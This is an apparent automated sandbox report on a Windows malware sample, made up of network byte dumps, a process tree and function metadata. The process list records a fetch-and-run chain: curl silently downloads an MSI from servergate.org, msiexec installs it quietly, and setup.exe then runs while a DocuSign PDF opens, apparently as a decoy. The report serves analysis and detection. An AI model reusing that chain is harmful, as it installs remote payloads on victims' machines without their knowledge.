2024-12-12 11:09:34 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-12-12 11:09:34 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-12-12 11:09:34 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Target ID:	0
Start time:	06:08:57
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /k curl -sLo C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi & C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi /qn & exit
Imagebase:	0x7ff626c90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	06:08:57
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	06:08:57
Start date:	12/12/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -sLo C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi
Imagebase:	0x7ff77a420000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:09:03
Start date:	12/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi" /qn
Imagebase:	0x7ff6f1d10000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	06:09:03
Start date:	12/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6f1d10000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	06:09:03
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 0F1478997D570E9F3111196DB2AE6DC0
Imagebase:	0x60000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:09:04
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
Imagebase:	0x510000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:09:04
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:09:04
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\expand.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
Imagebase:	0x2b0000
File size:	53'248 bytes
MD5 hash:	544B0DBFF3F393BCE8BB9D815F532D51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:09:04
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:09:23
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c start msedge https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:09:23
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:09:23
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:09:31
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe" /VERYSILENT /VERYSILENT
Imagebase:	0xc20000
File size:	686'918'144 bytes
MD5 hash:	12A9550703C2DFFED96EAAA738B8118E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	06:09:24
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2116,i,5126105625824992874,9869921234519132704,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:09:24
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	06:09:24
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2752 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	06:09:30
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6628 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:09:30
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6792 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:10:24
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6532 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8%
Total number of Nodes:	1299
Total number of Limit Nodes:	23

Executed Functions

Function 00C2A0A0 Relevance: 6.5, Strings: 5, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

vWCm, xrefs: 00C2A47D
vWCm, xrefs: 00C2A365
vWCm, xrefs: 00C2A36F
_8O, xrefs: 00C2A1C8
vWCm, xrefs: 00C2A174

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID:
String ID: _8O$vWCm$vWCm$vWCm$vWCm
API String ID: 0-567259910
Opcode ID: 4ec2248cda2993c43c6a66e776ef06c257739dd2234d812bc3f054e01290f06e
Instruction ID: 052fd020850db9e557feb5c1dd76e1c34de40fda788824c6a994a328c41a026d
Opcode Fuzzy Hash: 4ec2248cda2993c43c6a66e776ef06c257739dd2234d812bc3f054e01290f06e
Instruction Fuzzy Hash: 40919B376087248B4A2CD92975E453E62139BE0334F39821FE52B1FFE4DAA15D465783

Function 00DCA376 Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 056c6a6d2cb14ab64291ed4ba9e37f19640bce0678982df12072d23d6880dc9e
Instruction ID: 8f415c54e3be184fd83091d53f96635a3cb2afae0eebc54043acce7241f74eb6
Opcode Fuzzy Hash: 056c6a6d2cb14ab64291ed4ba9e37f19640bce0678982df12072d23d6880dc9e
Instruction Fuzzy Hash: AAF08C326116389BCB129A8CD855F99B3A8EB45B25F11405AA101D7240C6B0AD00CAE1

Function 00DC7BB9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ext-ms-, xrefs: 00DC7C24
api-ms-, xrefs: 00DC7C10

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 26e3a48995c4d75876411b61bfde401ae4084dbcdb862f3097cb7ee83bb2ec9c
Instruction ID: 1cbdc1e595536a39d6eb434c4a98f6a6c3377227e9d3404471a1980bb748c5ed
Opcode Fuzzy Hash: 26e3a48995c4d75876411b61bfde401ae4084dbcdb862f3097cb7ee83bb2ec9c
Instruction Fuzzy Hash: FC21D532B09717ABCB219B65DEC5F6A3758AB017A0F290519E856EB390E630ED008DF0

Function 00DB4C0A Relevance: 4.6, APIs: 3, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00DB58F3

Part of subcall function 00DB59E3: std::exception::exception.LIBCONCRT ref: 00DB59F0

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00DB63B1
___raise_securityfailure.LIBCMT ref: 00DB646E

Part of subcall function 00DB7590: RaiseException.KERNEL32(E06D7363,00000001,00000003,00C2BED1,00000001,?,?,00DB5926,00C2BED1,00DE7680,?,00C2BED1,?,?), ref: 00DB75F0

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___raise_securityfailurestd::exception::exceptionstd::invalid_argument::invalid_argument
String ID:
API String ID: 1155004847-0
Opcode ID: e9c9355c85eb778a3d18603c1a8ce06f0c8939fb9c7ccee3418810ea005fafeb
Instruction ID: 552910f0b5ff0805a00f47b8e6086860682432597b249a4b0ba5d85d6c3df295
Opcode Fuzzy Hash: e9c9355c85eb778a3d18603c1a8ce06f0c8939fb9c7ccee3418810ea005fafeb
Instruction Fuzzy Hash: 0031EF74515309EFC700EF65FD469AA7BB8BF08310B508569F90DCA3A1EBB09545CBB1

Function 00DBBB9E Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00DE77C8,0000000C), ref: 00DBBBB1
ExitThread.KERNEL32 ref: 00DBBBB8

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 15fc0514300bc6fce9e974ea7b01f7b5154ba0e3ed0d790450aedabb57660d90
Instruction ID: 250c98c27e2a77cf4210e3d40299dcd15f9368e1c99613c07397ebb35c060df5
Opcode Fuzzy Hash: 15fc0514300bc6fce9e974ea7b01f7b5154ba0e3ed0d790450aedabb57660d90
Instruction Fuzzy Hash: 04F08C71A00245EFDB05BBB0C94AEAE7B64EF44710F204549F0029B2A1CB74A901CFB1

Function 00DC7C80 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ace4230bf26987f1a700fc177cc6fdb3113628e57629285a62f1a3fa58c159fc
Instruction ID: 7f324da0fb4b07ea0816bd4d8903cb61298514b2a3e63646f31fd36e557db880
Opcode Fuzzy Hash: ace4230bf26987f1a700fc177cc6fdb3113628e57629285a62f1a3fa58c159fc
Instruction Fuzzy Hash: BF01F533614717AF9B169F29EE44E5A37DAFB843307284129F901CB254EA30D8018AB0

Function 00DC6EE1 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,4D88C033,4D88C033,?,00DC8B9A,00000220,00DCEF31,4D88C033,?,?,?,?,00000000,00000000,?,00DCEF31), ref: 00DC6F13

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

Associated: 00000010.00000002.3300147493.0000000000C20000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300556131.0000000000DD6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300612618.0000000000DE8000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DEB000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300671020.0000000000DF5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DF9000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000DFB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.3300777112.0000000000E09000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_c20000_setup.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c413426a3618a85a0b29bd9607edf9dee2e81b4cfbe97cd35580396b928140c4
Instruction ID: 6cde8b19f4b7e46db16552a1e10af8d64cdc062f110b477459e53a4106e061ab
Opcode Fuzzy Hash: c413426a3618a85a0b29bd9607edf9dee2e81b4cfbe97cd35580396b928140c4
Instruction Fuzzy Hash: 4EE03921105622AAEA212A65EC15FAA7A9CAF417E0B19012EBD46DB291DB60C800C5B1

Non-executed Functions

Function 00C30A80 Relevance: 12.9, Strings: 10, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PG7X, xrefs: 00C30DD0
QG7X, xrefs: 00C30E40
QG7X, xrefs: 00C30E11
xwW, xrefs: 00C30FBB
B&D, xrefs: 00C30ACB
C&D, xrefs: 00C30CCE
C&D, xrefs: 00C30CB3
C&D, xrefs: 00C30D83
xwW, xrefs: 00C30B14
xwW, xrefs: 00C30D2A

Memory Dump Source

Source File: 00000010.00000002.3300196354.0000000000C21000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C20000, based on PE: true

